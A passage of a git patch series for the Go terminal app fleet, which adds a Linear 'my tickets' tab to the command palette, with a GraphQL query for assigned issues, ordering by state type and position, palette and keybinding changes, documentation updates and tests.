linear.SetWorkspaceForTest(linear.Workspace{}) }) + + note, wrong := d.workspaceMismatchNote() + if !wrong { + t.Fatal("expected a mismatch") + } + if w := ansi.StringWidth(note); w > d.innerWidth() { + t.Errorf("note is %d columns wide but the box is %d — it will wrap and truncate:\n %q", + w, d.innerWidth(), note) + } +} From b6554c8c9e7b284dc77726eb3ea4b56897ba9e75 Mon Sep 17 00:00:00 2001 From: Yuval Hayke Date: Tue, 18 Aug 2026 18:03:17 +0300 Subject: [PATCH 10/23] feat(linear): add a tickets tab to the command palette MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Choosing what to work on was the last step still stuck in the browser: fleet could start a ticket, but only if you already knew its identifier. `t` opens the command palette on a new tickets tab listing your open assigned issues. Deliberately a tab rather than a fourth full-screen dialog — the palette already had tabs, so this reuses a surface people reach for. It is also why 50 rows is fine here: you type to narrow, where a static list of 36 Todos would be noise Linear filters better than we would. The rows carry the join, which is the only thing this shows that Linear cannot: which tickets already have a worktree, and what that session is doing right now. Team keys come from the identifiers themselves — the prefix IS the team — so it needs no repo config and spans every repo on screen. Where several sessions share a worktree, the row reports the one that most wants you rather than whichever came first. Enter jumps to the session when one exists, and otherwise opens the ordinary `w` dialog with the identifier prefilled, so the repo and base branch are still confirmed on the screen that always confirms them and a ticket becomes a branch name by only one code path. Ordering is by state type, then position: type survives a team renaming its states, and position is what puts In Progress above In Review — a work queue wants the thing you are in the middle of. Verified against 50 live issues. Fetched when the palette opens, never polled, and `Ctrl+K` costs nothing at all when Linear isn't connected. The reply is routed from Home.Update with a test that fails if it isn't, since that exact omission has already cost this feature twice. Co-Authored-By: Claude Opus 5 Claude-Session: https://claude.ai/code/session_01WBQUYTfR7kzUjgozd58mr6 --- CLAUDE.md | 3 +- changelog/unreleased/linear-tickets.md | 2 +- internal/linear/api.go | 102 ++++++++++++- internal/linear/linear.go | 5 + internal/linear/linear_test.go | 53 +++++++ internal/ui/app.go | 47 +++++- internal/ui/command_palette.go | 46 +++++- internal/ui/keybindings.go | 1 + internal/ui/palette_tickets.go | 195 +++++++++++++++++++++++++ internal/ui/palette_tickets_test.go | 156 ++++++++++++++++++++ internal/ui/workspace_picker_ticket.go | 16 ++ 11 files changed, 619 insertions(+), 7 deletions(-) create mode 100644 internal/ui/palette_tickets.go create mode 100644 internal/ui/palette_tickets_test.go diff --git a/CLAUDE.md b/CLAUDE.md index be9edcd4..b8c4c3b2 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -109,7 +109,7 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Status: Running, Waiting, Finished, Idle, Error, Starting, Suspended - Status icons: ● (running/finished), ◐ (waiting), ○ (idle/starting), ✕ (error), · dim (suspended — same dot as idle; dim style + "suspended" label distinguish it) - Agent glyph: each session row shows a dim, monochrome per-agent sigil between the status dot and the title — `✻` Claude, `◇` Codex, `△` OpenCode (`agentGlyph` + `AgentGlyphStyle` in `sidebar.go`/`styles.go`); all are width-1 glyphs from well-covered Unicode blocks (Dingbats / Geometric Shapes — same block as the status dots) so they stay aligned in base mono fonts; identity is carried by shape so the status dot keeps sole ownership of color; empty/legacy `Agent` falls back to Claude -- Keybindings: j/k nav, `Shift+↑/↓` jump to prev/next group header (origin or checkout — from a session row the nearest header above is its own checkout header, so `Shift+↑` surfaces the current group before climbing out; clamps to the first/last row when no header remains, so it doubles as top/bottom), Enter attach, Space jump to next waiting/finished, a new session (instant, repo-scoped, default agent), A new session with agent picker (Claude/Codex/OpenCode), n new session (any repo, path autocomplete), w new worktree session (base branch + new branch; works on a session, checkout header, or origin header — an origin header bases the new worktree on the group's main clone), F fork to worktree (Claude-only), d delete (scope follows cursor: session = that session; worktree header = sessions + git worktree remove; repo header = forget repo from fleet, folder untouched; empty repo header = unpin; origin header = forget the whole group, checkbox-gated), u undo delete (5s window), r restart (confirm, configurable), R rename, m mark session as unread (idle→finished), z snooze (scope follows cursor; `z` again on a snoozed row wakes it), e editor, p open PR in browser, Y quick approve (waiting sessions), `.` context menu for the row under the cursor (session rows include "Move to Account…"), / filter, Ctrl+K command palette, `` ` `` toggle terminal drawer, S settings, W what's new (release notes reel), X dismiss on-screen tip, ! report (wrong status / bug / feature picker, captures a status snapshot on keypress), ? help, ctrl+c quit +- Keybindings: j/k nav, `Shift+↑/↓` jump to prev/next group header (origin or checkout — from a session row the nearest header above is its own checkout header, so `Shift+↑` surfaces the current group before climbing out; clamps to the first/last row when no header remains, so it doubles as top/bottom), Enter attach, Space jump to next waiting/finished, a new session (instant, repo-scoped, default agent), A new session with agent picker (Claude/Codex/OpenCode), n new session (any repo, path autocomplete), w new worktree session (base branch + new branch; works on a session, checkout header, or origin header — an origin header bases the new worktree on the group's main clone), F fork to worktree (Claude-only), d delete (scope follows cursor: session = that session; worktree header = sessions + git worktree remove; repo header = forget repo from fleet, folder untouched; empty repo header = unpin; origin header = forget the whole group, checkbox-gated), u undo delete (5s window), r restart (confirm, configurable), R rename, m mark session as unread (idle→finished), z snooze (scope follows cursor; `z` again on a snoozed row wakes it), e editor, p open PR in browser, Y quick approve (waiting sessions), `.` context menu for the row under the cursor (session rows include "Move to Account…"), / filter, Ctrl+K command palette, `t` my Linear tickets, `` ` `` toggle terminal drawer, S settings, W what's new (release notes reel), X dismiss on-screen tip, ! report (wrong status / bug / feature picker, captures a status snapshot on keypress), ? help, ctrl+c quit - Non-Latin keyboard layouts (issue #239): a terminal reports the **character the layout produced**, not the key pressed, so under a Hebrew layout the physical `j` arrives as `ח` and *every* letter command falls through `handleKey`'s `switch msg.String()` silently. `internal/keylayout` holds one chart per layout (Hebrew, Russian, Arabic, Greek) written in the **US-key → produced-character** direction — the direction a keyboard chart reads, which is the only practical way to review it against one — and inverts them. **The safety rule lives in `buildToUS`, not in discipline: an entry survives inversion only if the produced character is non-ASCII.** Every fleet binding is ASCII, so a hit can never shadow a key the user actually pressed; that's why callers need no "is this already bound?" check and why a Latin layout (AZERTY/QWERTZ/Dvorak) is provably untouched. The cost is that positions emitting ASCII on their own layout aren't remapped (Hebrew `q`→`/`, Greek `q`→`;`), and Arabic `b` can't be (it produces the two-rune ligature `لا`) — all three are asserted as *documented* gaps, so a real omission still fails the test. `normalizeKey` (`internal/ui/keylayout.go`) rewrites **both `Code` and `Text`**: `Key.String()` returns `Text` verbatim when non-empty, and `String()` is what every switch here matches on, so setting only `Code` would pass a unit test and still dead-press in the app. Ctrl/Alt chords are skipped — they already carry a Latin letter on every layout. Two call sites, each placed so a text input is **structurally** out of scope rather than merely avoided: in `handleKey` *below* the modal/launchpad/focus/filter/drawer branches, and in `routeToModal` for the 8 dialogs owning no `textinput` (`TestNormalizedDialogsHoldNoTextInput` parses `routeToModal` for `Update(cmdMsg)` calls and fails if a text-owning dialog joins them; `TestFindTextInputDetects` is its positive control, since a blind detector would make it pass unconditionally). Deliberately never reaches `forwardKeyToPane`/`handleFocusKey` — those push `msg.Text` into tmux, so a Hebrew user's shell must receive Hebrew. **One exception, and it's a symmetry fix, not a convenience:** `handleTypingKey` matches the drawer's *chrome* on the US position (`switch normalizeKey(msg).String()`) because it intercepts keys *above* the remap — without it, Russian `ё` (which sits on the backtick key) would open the drawer and then be typed into the shell, with nothing left that closes it. Only the chrome comparison is remapped; everything forwarded stays literal. Cost: `ё` reaches the shell only via `Ctrl+G` full attach, the same trade already made for `Ctrl+T`/`Ctrl+W` (`TestNonLatinKeyClosesDrawer`). **Caseless scripts (Hebrew, Arabic) send identical bytes for `ש` and `Shift+ש`** — the shift isn't in the byte stream and no table can recover it — so the uppercase commands (`A R S W X Y D F`) stay unreachable by their letter there; `Ctrl+K` and `.` are the layout-independent escapes. Russian/Greek carry capitals, except Greek `W`: shift+w and shift+s both emit `Σ` and `S` (settings) owns it. - Terminal drawer (`` ` `` key): a collapsible panel holding plain non-agent "shells" (dev servers, log tails, scratch commands), scoped to the selected repo/worktree. Separate from sessions (`internal/shell`, `shells` SQLite table) — never in the sidebar, no hooks/auto-naming. **Placement is layout-aware** (see `renderBody` in `app.go`): in **dual** it splits the right column — preview on top, terminal below (`lipgloss.JoinVertical`), session list untouched and full-height; in **single/stacked** it falls back to a full-width band at the bottom that shrinks `contentHeight`. `renderDrawer(width, maxOuterH)` clamps its outer height to `maxOuterH` (in dual that's `contentHeight - drawerMinPreviewRows`, so the preview keeps ≥5 rows). Renders as a bordered panel (fleet's panel vocabulary, accent border when focused) with tabs inset in the top border and a loud `● TYPING → ` label top-right. **The body is a live virtual-terminal emulator** (`internal/vterm`, wrapping `charmbracelet/x/vt`) fed by a tmux **control-mode `%output` reader** (`internal/tmux/control_output.go` → `OutputReader`, attached per active shell, re-pointed on tab switch/restart): byte- and cursor-accurate, **event-driven** (no capture-pane polling), rendered each frame on the View thread. `syncShellStream`/`startShellStreamAsync`/`teardownShellStream` (drawer.go) own the reader+emulator lifecycle — the attach (a `tmux -C` + PTY fork) and teardown (`Close` = Kill+Wait) run **off the Update goroutine** (async dispatch → `shellStreamReadyMsg`, installed only if the requested target+size are still current; `attachShell` uses a synchronous teardown before its full-screen takeover). On attach the fresh emulator is **seeded via `capture-pane`** (`tmux.CapturePaneANSI` → `drawerSeedBytes`): control mode replays nothing on attach, so without the seed the body is blank until the next output. The reader sizes the pane to the drawer body so wrap points match (`renderDrawer` records `drawerInnerW/H`), and the drawer is a **stable-height viewport** (capped by `drawer_height`, clamped to `[DrawerHeightMin,DrawerHeightMax]`=`[4,14]`), not content-fit. The reader writes bytes into the mutex-guarded emulator and schedules a single coalesced `shellOutputMsg` render wake (`shellWake` CAS); a slow `drawerSyncInterval` tick is the lifecycle/resize backstop. `vterm` strips screen/tmux `ESC k … ST` set-title escapes that x/vt would otherwise leak as visible text. **Always-typing, 2 states** (`drawerMode`: hidden/typing — see `internal/ui/drawer.go`): `` ` `` opens straight into TYPING (auto-creates a shell if the repo has none) — keystrokes forward to the shell pane via the focus-mode control client (`forwardKeyToPane`, which maps any `Ctrl+` → tmux `C-` so the shell's own line-editing keeps working; `Esc` passes through to the shell). **No menu mode**; chrome is a small set of Ctrl chords intercepted before forwarding: `Ctrl+T` new shell, `Ctrl+W` close (twice to confirm a running one, armed via `drawerCloseArmed`), `PgUp`/`PgDn` switch tab (plain or Ctrl-modified both accepted; chosen for reliable delivery — no modifier a terminal might swallow; costs the shell's PageUp/PageDown inside the drawer), `Ctrl+G` full attach (Ctrl+Q returns), `` ` `` close drawer. An **exited** shell restarts on `Enter` (no live process to type to). Cost: the shell loses `Ctrl+T` (transpose) and `Ctrl+W` (delete-word) to the drawer. Status (○ idle / ● running / ✕ exited+code) derives from tmux `pane_current_command` + pane-dead, no hooks. Shell tmux sessions use the `fleetsh_` prefix; removing a worktree kills its shells first (`killShellsForRepo`) so the dir frees for `git worktree remove`. Max body height via `drawer_height` config (default 12). - Session hotkeys (RTS-style): `Alt+0-9` (or `=` then digit) binds the selected session to a slot; re-pressing `Alt+` on a session already in slot N unbinds; `==` then digit clears any slot; plain `0-9` jumps to the bound session (double-tap within 400ms also attaches); `[N]` badge in sidebar marks bound sessions; bindings persist in SQLite `slot_bindings` table (FK cascade on session delete) @@ -154,6 +154,7 @@ chrome-extension/ # Chrome MV3 extension (service worker, manifes - Lookups are **debounced (250ms) and generation-guarded**, never per keystroke. Without the generation counter, typing `BRZ-3182` then editing to `BRZ-3184` lets the slower first reply overwrite the field with the wrong ticket's branch name, which then becomes a real git branch (`TestWorktreeStaleTicketReplyIgnored`). The counter is **monotonic and never reset to 0**, unlike `ConfirmDialog.scanGen` — that one lives on `Home` and never recycles; a per-dialog counter reset to zero would let a reply from a previous open match a new one. `d.loading` is deliberately not used for ticket lookups: it swallows every key but `esc`. - Degradation is structural: no credential, no team, rejected key, offline, unknown id, or nothing matching — every case leaves Enter working and the dialog usable (`TestWorktreeEnterAlwaysCreates`). `ErrNotConnected` is the resting state for everyone who never connected and is **never surfaced as an error**; `ErrNotAuthenticated` is, because it names a thing to fix. Persistent failures latch (`ticketsOff`) so a broken credential isn't re-spent on every pause. Once the worktree exists nothing may fail the caller: `Materialize` sits beside `copyClaudeSettingsFile` and `CopyConfiguredFiles` and shares their posture, and a failed fetch costs the prompt, never the session. - Connect dialog (`internal/ui/connect_linear.go`): a two-row method chooser, then a browser round trip or a **masked** input. A pasted key is **verified before it is stored** (one `viewer`/`organization`/`teams` query), so "connected" is a fact rather than a hope and a typo is caught while the user is still looking at the field they typed it into. It then names the workspace's team keys and shows the exact `.fleet.local.json` line that turns a repo on — the per-repo step is the one people miss, and `.local` is the right file because team membership is personal and `.fleet.json` is committed. Discovery is a `tipOnce` firing when a session's branch matches the generic `-` shape **and** nothing is connected — deliberately *not* `IdentifierFromBranch`, which is gated on team keys nobody has configured yet at the moment the tip should fire; a false positive costs one dismissible hint, since the tip only offers and never fetches. +- **My tickets is a tab in the command palette, not a new dialog** (`internal/ui/palette_tickets.go`; `t` opens straight onto it, `Ctrl+K` reaches it by cycling). The palette already had tabs (`paletteTabOrder`, `cycleTab`), so this is the existing surface rather than a fourth full-screen view — and typing narrows 50 rows, which is why the whole open assigned list is fine here where it would be noise in a static list. **The rows carry the join, which is the only thing this shows that Linear cannot**: which tickets already have a worktree and what that session is doing. Team keys are derived from the identifiers themselves (the prefix *is* the team), so it needs no repo config and spans every repo on screen. When several sessions share a worktree the row reports the one that most wants you (`ticketSessionRank`), never whichever came first. Enter jumps to the session if one exists, else opens the ordinary `w` dialog with the identifier prefilled (`PrefillTicket`, `pendingTicketID` consumed exactly once) — so the repo and base branch are still confirmed on the screen that always confirms them, and a ticket becomes a branch name by only one code path. Ordering is by state **type** then **position**: type survives a team renaming its states, and position is what puts *In Progress* above *In Review*. Fetched when the palette opens and never polled; `Ctrl+K` costs nothing at all when Linear isn't connected. - `fleet worktree --ticket ` (`-t`) mirrors the TUI and names the branch when no branch is given. **Conflicts with `-p`** — both set the first message and say opposite things — but is **allowed with `--no-session`**, unlike `-p`: a promptless session is meaningless, a materialized git-excluded ticket directory is not. A bad identifier fails *before* anything is created, the same line `-p -` draws. - Git info refreshes every 2s (branch/dirty), PR info every 60s via `gh` CLI - PR badge: green ✓ (approved+CI passed), yellow (pending), red ✕ (CI fail) / ↩ (changes requested or unresolved threads), purple ⇡ (merged), gray ◌ (draft; ✕ appended on CI fail), hidden (closed) diff --git a/changelog/unreleased/linear-tickets.md b/changelog/unreleased/linear-tickets.md index ff1aabf6..2937edac 100644 --- a/changelog/unreleased/linear-tickets.md +++ b/changelog/unreleased/linear-tickets.md @@ -3,4 +3,4 @@ type: added highlight: true --- -**Start a worktree from a Linear ticket.** Type `BRZ-3182` in the `w` dialog — or search by words — and fleet names the branch from the ticket, writes it and its screenshots into the worktree, and opens the agent already told to read it and not start yet. Existing worktrees whose branch names a ticket get the same treatment, and `fleet wt --ticket BRZ-3182` does it from the shell. Connect with `Ctrl+K` → "Connect Linear": sign in through your browser, or paste an API key if you work over SSH. +**Start a worktree from a Linear ticket.** Type `BRZ-3182` in the `w` dialog — or search by words — and fleet names the branch from the ticket, writes it and its screenshots into the worktree, and opens the agent already told to read it and not start yet. Existing worktrees whose branch names a ticket get the same treatment, and `fleet wt --ticket BRZ-3182` does it from the shell. Press `t` for your Linear tickets, each row showing whether it already has a worktree and what that session is doing. Connect with `Ctrl+K` → "Connect Linear": sign in through your browser, or paste an API key if you work over SSH. diff --git a/internal/linear/api.go b/internal/linear/api.go index ab8c18ce..aa9babd5 100644 --- a/internal/linear/api.go +++ b/internal/linear/api.go @@ -233,6 +233,24 @@ const searchQuery = `query Search($term: String!, $first: Int!) { } }` +// assignedIssuesQuery is the "my tickets" list. +// +// Filtered server-side to open work: a finished ticket is not something you are +// about to start, and dropping them there rather than here keeps the payload +// small. Ordered by updatedAt so the tail of a long Todo list is at least in a +// useful order before the client regroups it. +const assignedIssuesQuery = `query Mine($first: Int!) { + viewer { + assignedIssues( + first: $first + filter: { state: { type: { nin: ["completed", "canceled"] } } } + orderBy: updatedAt + ) { + nodes { identifier title url state { name type position } } + } + } +}` + const workspaceQuery = `query Workspace { organization { name urlKey } teams(first: 250) { nodes { key name } } @@ -253,18 +271,35 @@ type issueLite struct { Title string `json:"title"` URL string `json:"url"` State *struct { - Name string `json:"name"` - Type string `json:"type"` + Name string `json:"name"` + Type string `json:"type"` + Position float64 `json:"position"` } `json:"state"` } +func (i *issueLite) stateType() string { + if i == nil || i.State == nil { + return "" + } + return i.State.Type +} + +// statePosition returns the state's order within its team. A missing state +// sorts last rather than first, so an unusable payload cannot lead the list. +func (i *issueLite) statePosition() float64 { + if i == nil || i.State == nil { + return 1 << 30 + } + return i.State.Position +} + func (i *issueLite) ticket() Ticket { if i == nil { return Ticket{} } t := Ticket{Identifier: i.Identifier, Title: i.Title, URL: i.URL} if i.State != nil { - t.StateName = i.State.Name + t.StateName, t.StateType = i.State.Name, i.State.Type } return t } @@ -439,6 +474,67 @@ func MoveToStarted(ctx context.Context, issue *issueFull) (string, error) { return state.Name, nil } +// stateTypeRank orders Linear's state categories by how close the work is to +// your hands. Ranking on the TYPE rather than the name is what makes this work +// on a team that renamed its states. +func stateTypeRank(t string) int { + switch t { + case "started": + return 0 + case "unstarted": // Linear's "Todo" + return 1 + case "triage": + return 2 + case "backlog": + return 3 + } + return 4 +} + +// AssignedIssues returns your open assigned issues, most actionable first. +// +// Sorted client-side rather than by the API because the useful order is by +// state category, and Linear can only order by one field. Within a category the +// server's updatedAt order is preserved, so the top of each group is what you +// touched last. +func AssignedIssues(ctx context.Context, limit int) ([]Ticket, error) { + if limit <= 0 { + limit = 100 + } + var out struct { + Viewer struct { + AssignedIssues struct { + Nodes []issueLite `json:"nodes"` + } `json:"assignedIssues"` + } `json:"viewer"` + } + if err := execute(ctx, metaTimeout, assignedIssuesQuery, map[string]any{"first": limit}, &out); err != nil { + return nil, err + } + + // Sort the raw nodes, not the projection: position is what separates two + // states of the same type, and it is the difference between "In Progress" + // and "In Review" leading the list. A work queue wants the one you are + // actually in the middle of. + nodes := out.Viewer.AssignedIssues.Nodes + sort.SliceStable(nodes, func(a, b int) bool { + ra, rb := stateTypeRank(nodes[a].stateType()), stateTypeRank(nodes[b].stateType()) + if ra != rb { + return ra < rb + } + return nodes[a].statePosition() < nodes[b].statePosition() + }) + + tickets := make([]Ticket, 0, len(nodes)) + for i := range nodes { + if nodes[i].Identifier == "" { + continue + } + tickets = append(tickets, nodes[i].ticket()) + } + return tickets, nil +} + // --------------------------------------------------------------------------- // Workspace // --------------------------------------------------------------------------- diff --git a/internal/linear/linear.go b/internal/linear/linear.go index 97041873..68ab8c41 100644 --- a/internal/linear/linear.go +++ b/internal/linear/linear.go @@ -89,6 +89,11 @@ type Ticket struct { Title string URL string StateName string + // StateType is Linear's own category for the state — "started", + // "unstarted", "backlog", "triage". Carried alongside the name because the + // name is whatever a team called it ("In Dev", "Doing") and cannot be + // ordered or compared, while the type can. + StateType string } // Ok reports whether the payload carried enough to be worth acting on. diff --git a/internal/linear/linear_test.go b/internal/linear/linear_test.go index 28556476..bfa5f288 100644 --- a/internal/linear/linear_test.go +++ b/internal/linear/linear_test.go @@ -8,6 +8,7 @@ import ( "os" "path/filepath" "regexp" + "sort" "strings" "testing" ) @@ -483,3 +484,55 @@ func resetCredentialForTest() { credState.present.Store(false) credState.mu.Unlock() } + +// TestAssignedIssuesOrderPutsWorkInHand pins the ordering of the tickets tab. +// +// Ranking on state TYPE is what makes it work on a team that renamed its +// states. Position is what separates two states of the SAME type, and it is the +// difference between "In Progress" and "In Review" leading the list — a work +// queue wants the thing you are in the middle of, not the thing you already +// handed off. +func TestAssignedIssuesOrderPutsWorkInHand(t *testing.T) { + mk := func(id, name, typ string, pos float64) issueLite { + n := issueLite{Identifier: id, Title: id} + n.State = &struct { + Name string `json:"name"` + Type string `json:"type"` + Position float64 `json:"position"` + }{Name: name, Type: typ, Position: pos} + return n + } + nodes := []issueLite{ + mk("BRZ-4", "Backlog", "backlog", 0), + mk("BRZ-3", "Todo", "unstarted", 1), + mk("BRZ-2", "In Review", "started", 1002), + mk("BRZ-1", "In Dev", "started", 2), + } + sort.SliceStable(nodes, func(a, b int) bool { + ra, rb := stateTypeRank(nodes[a].stateType()), stateTypeRank(nodes[b].stateType()) + if ra != rb { + return ra < rb + } + return nodes[a].statePosition() < nodes[b].statePosition() + }) + + var got []string + for _, n := range nodes { + got = append(got, n.Identifier) + } + want := []string{"BRZ-1", "BRZ-2", "BRZ-3", "BRZ-4"} + for i := range want { + if got[i] != want[i] { + t.Fatalf("order = %v, want %v (started by position, then todo, then backlog)", got, want) + } + } + + // A payload with no state must sort last rather than lead. + nodes = append(nodes, issueLite{Identifier: "BRZ-9"}) + sort.SliceStable(nodes, func(a, b int) bool { + return stateTypeRank(nodes[a].stateType()) < stateTypeRank(nodes[b].stateType()) + }) + if nodes[len(nodes)-1].Identifier != "BRZ-9" { + t.Errorf("a stateless issue should sort last, got order ending in %s", nodes[len(nodes)-1].Identifier) + } +} diff --git a/internal/ui/app.go b/internal/ui/app.go index f001f44f..dd37f769 100644 --- a/internal/ui/app.go +++ b/internal/ui/app.go @@ -451,6 +451,11 @@ type Home struct { accountUsage atomic.Pointer[map[string]claudeaccount.Usage] accountsDialog *AccountsDialog connectLinear *ConnectLinearDialog + + // pendingTicketID is set when a ticket was picked from the palette and the + // worktree dialog is being opened for it. Consumed when that dialog shows, + // so it can never leak into the next unrelated `w`. + pendingTicketID string // accountWorkerOnce guards the quota poller — see startAccountWorker. accountWorkerOnce sync.Once // accountLoginCancel stops the in-flight login watcher, if any. Written from @@ -1532,6 +1537,14 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { }) } h.worktreeDialog.Show(msg.workspaces, h.sessions, msg.provider, msg.repoPath, msg.defaultBranch, msg.linearTeams) + if id := h.pendingTicketID; id != "" { + // Consumed here and nowhere else, so a ticket picked once cannot + // leak into the next unrelated `w`. + h.pendingTicketID = "" + if cmd := h.worktreeDialog.PrefillTicket(id); cmd != nil { + return h, cmd + } + } return h, nil case workspaceSelectedMsg: @@ -1678,6 +1691,18 @@ func (h *Home) Update(msg tea.Msg) (tea.Model, tea.Cmd) { prompt: prompt, }) + case paletteTicketsMsg: + // Routed here for the same reason the worktree dialog's messages are: + // routeToModal only carries key and paste messages, so a tea.Cmd result + // reaches a dialog only if Update forwards it. + if msg.err != nil { + debuglog.Logger.Debug("linear: could not list assigned issues", "error", msg.err) + h.commandPalette.SetTickets(nil) + return h, nil + } + h.commandPalette.SetTickets(h.ticketPaletteItems(msg.tickets)) + return h, nil + case worktreeTicketTickMsg, worktreeTicketsMsg: // Routed here, not through routeToModal: that is only reached from // handleKey and handlePaste, so it carries key and paste messages only. @@ -3012,7 +3037,17 @@ func (h *Home) handleKey(msg tea.KeyPressMsg) (tea.Model, tea.Cmd) { h.commandPalette.Show(h.buildPaletteItems(), h.recentPaletteIDs) h.cfg.NoteFeatureUsed(tipCmdPaletteID, tipLearnedThreshold) // retire the discovery tip once they know it analytics.Track(analytics.EventCommandPalette, nil) - return h, nil + return h, h.maybeLoadPaletteTickets() + case "t": + // Straight to the tickets tab: `t` means "show me my tickets", not + // "show me everything and let me cycle". + if !linear.Available() { + h.setInfo("Linear isn't connected — Ctrl+K → Connect Linear") + return h, nil + } + h.commandPalette.ShowOnTab(h.buildPaletteItems(), h.recentPaletteIDs, PaletteTabTickets) + analytics.Track(analytics.EventCommandPalette, nil) + return h, h.maybeLoadPaletteTickets() case "S": h.settingsDialog.Show() analytics.Track(analytics.EventSettingsOpened, nil) @@ -8189,6 +8224,7 @@ func (h *Home) buildPaletteItems() []PaletteItem { {Kind: PaletteKindCommand, ID: "new_session_pick", Name: "New Session (Pick Agent)", Shortcut: "A"}, {Kind: PaletteKindCommand, ID: "manage_accounts", Name: "Manage Claude Accounts"}, {Kind: PaletteKindCommand, ID: "connect_linear", Name: "Connect Linear"}, + {Kind: PaletteKindCommand, ID: "my_tickets", Name: "My Linear Tickets", Shortcut: "t"}, {Kind: PaletteKindCommand, ID: "new_repo", Name: "New Session (Any Repo)", Shortcut: "n"}, {Kind: PaletteKindCommand, ID: "new_worktree", Name: "New Worktree Session", Shortcut: "w"}, {Kind: PaletteKindCommand, ID: "fork", Name: "Fork Session", Shortcut: "f"}, @@ -8281,6 +8317,8 @@ func (h *Home) buildPaletteItems() []PaletteItem { func (h *Home) dispatchPaletteSelection(msg commandPaletteMsg) (tea.Model, tea.Cmd) { h.pushRecentPaletteID(msg.id) switch msg.kind { + case PaletteKindTicket: + return h.openTicketFromPalette(msg.id) case PaletteKindRepo, PaletteKindWorktree: h.actionLog.Add("palette jump", msg.id, true) return h.jumpToRepoHeader(msg.id) @@ -8390,6 +8428,13 @@ func (h *Home) dispatchCommand(id string) (tea.Model, tea.Cmd) { return h, nil case "manage_accounts": return h, h.openAccountsDialog() + case "my_tickets": + if !linear.Available() { + h.setInfo("Linear isn't connected — Ctrl+K → Connect Linear") + return h, nil + } + h.commandPalette.ShowOnTab(h.buildPaletteItems(), h.recentPaletteIDs, PaletteTabTickets) + return h, h.maybeLoadPaletteTickets() case "connect_linear": h.actionLog.Add("connect linear", "", true) // Opening the dialog is the feature the tip teaches, so this is where diff --git a/internal/ui/command_palette.go b/internal/ui/command_palette.go index 2359fe56..bb88f718 100644 --- a/internal/ui/command_palette.go +++ b/internal/ui/command_palette.go @@ -26,6 +26,7 @@ const ( PaletteKindCommand PaletteItemKind = iota PaletteKindRepo PaletteKindWorktree + PaletteKindTicket ) // commandPaletteMsg is sent when the user selects an item from the palette. @@ -51,6 +52,7 @@ const ( PaletteTabAll PaletteTab = iota PaletteTabActions PaletteTabPlaces + PaletteTabTickets ) var paletteTabOrder = []struct { @@ -60,6 +62,7 @@ var paletteTabOrder = []struct { {PaletteTabAll, "all"}, {PaletteTabActions, "actions"}, {PaletteTabPlaces, "repos/worktrees"}, + {PaletteTabTickets, "tickets"}, } // CommandPaletteDialog shows a fuzzy-filterable list of palette items. @@ -73,6 +76,11 @@ type CommandPaletteDialog struct { scrollOff int activeTab PaletteTab filterInput textinput.Model + + // ticketsLoaded distinguishes an empty ticket tab that is still fetching + // from one that genuinely has nothing — the difference between "wait" and + // "you're done", which an empty list alone cannot say. + ticketsLoaded bool } type scoredItem struct { @@ -103,6 +111,7 @@ func (d *CommandPaletteDialog) Show(items []PaletteItem, recent []string) { d.visible = true d.items = items d.recent = recent + d.ticketsLoaded = false d.cursor = 0 d.scrollOff = 0 d.activeTab = PaletteTabAll @@ -111,6 +120,39 @@ func (d *CommandPaletteDialog) Show(items []PaletteItem, recent []string) { d.rebuildFiltered() } +// ShowOnTab opens the palette focused on one tab, for a key that means a +// specific thing ("t" is "show me my tickets", not "show me everything"). +func (d *CommandPaletteDialog) ShowOnTab(items []PaletteItem, recent []string, tab PaletteTab) { + d.Show(items, recent) + d.activeTab = tab + d.rebuildFiltered() +} + +// SetTickets replaces the ticket rows once they arrive. +// +// Tickets are the only palette rows that need a network call, so unlike every +// other kind they cannot be built when the palette opens. Replacing rather than +// appending keeps a second load from doubling the list, and the cursor is +// clamped by rebuildFiltered. +func (d *CommandPaletteDialog) SetTickets(tickets []PaletteItem) { + if !d.visible { + return + } + kept := d.items[:0:0] + for _, it := range d.items { + if it.Kind != PaletteKindTicket { + kept = append(kept, it) + } + } + d.items = append(kept, tickets...) + d.ticketsLoaded = true + d.rebuildFiltered() +} + +// TicketsLoaded reports whether a ticket load has completed for this opening, +// so the view can tell "still fetching" from "you have none". +func (d *CommandPaletteDialog) TicketsLoaded() bool { return d.ticketsLoaded } + // itemMatchesTab reports whether an item is included by the active tab. func itemMatchesTab(it PaletteItem, tab PaletteTab) bool { switch tab { @@ -118,6 +160,8 @@ func itemMatchesTab(it PaletteItem, tab PaletteTab) bool { return it.Kind == PaletteKindCommand case PaletteTabPlaces: return it.Kind == PaletteKindRepo || it.Kind == PaletteKindWorktree + case PaletteTabTickets: + return it.Kind == PaletteKindTicket default: return true } @@ -400,7 +444,7 @@ func (d *CommandPaletteDialog) View() string { func (d *CommandPaletteDialog) renderTabs() string { query := strings.TrimSpace(d.filterInput.Value()) counts := map[PaletteTab]int{} - for _, tab := range []PaletteTab{PaletteTabAll, PaletteTabActions, PaletteTabPlaces} { + for _, tab := range []PaletteTab{PaletteTabAll, PaletteTabActions, PaletteTabPlaces, PaletteTabTickets} { haystacks := make([]string, 0, len(d.items)) for _, it := range d.items { if !itemMatchesTab(it, tab) { diff --git a/internal/ui/keybindings.go b/internal/ui/keybindings.go index aaf47044..69455b42 100644 --- a/internal/ui/keybindings.go +++ b/internal/ui/keybindings.go @@ -53,6 +53,7 @@ var allKeyBindings = []KeyBinding{ // Global. {Key: "`", BarKey: "`", BarDesc: "Term", Desc: "Toggle terminal drawer", Section: "global"}, {Key: "Ctrl+K", BarKey: "⌃K", BarDesc: "Cmd", Desc: "Command palette", Section: "global"}, + {Key: "t", Desc: "My Linear tickets", Section: "global"}, {Key: "S", BarKey: "S", BarDesc: "Set", Desc: "Open settings", Section: "global"}, {Key: "Shift+W", Desc: "What's New / release notes", Section: "global"}, {Key: "X", Desc: "Dismiss on-screen tip", Section: "global"}, diff --git a/internal/ui/palette_tickets.go b/internal/ui/palette_tickets.go new file mode 100644 index 00000000..4d4cb46b --- /dev/null +++ b/internal/ui/palette_tickets.go @@ -0,0 +1,195 @@ +package ui + +import ( + "context" + "fmt" + "strings" + "time" + + tea "charm.land/bubbletea/v2" + + "github.com/brizzai/fleet/internal/linear" + "github.com/brizzai/fleet/internal/session" +) + +// ticketListLimit caps the "my tickets" fetch. Fifty covers a real backlog +// while keeping one query well inside Linear's per-query complexity budget. +const ticketListLimit = 50 + +// 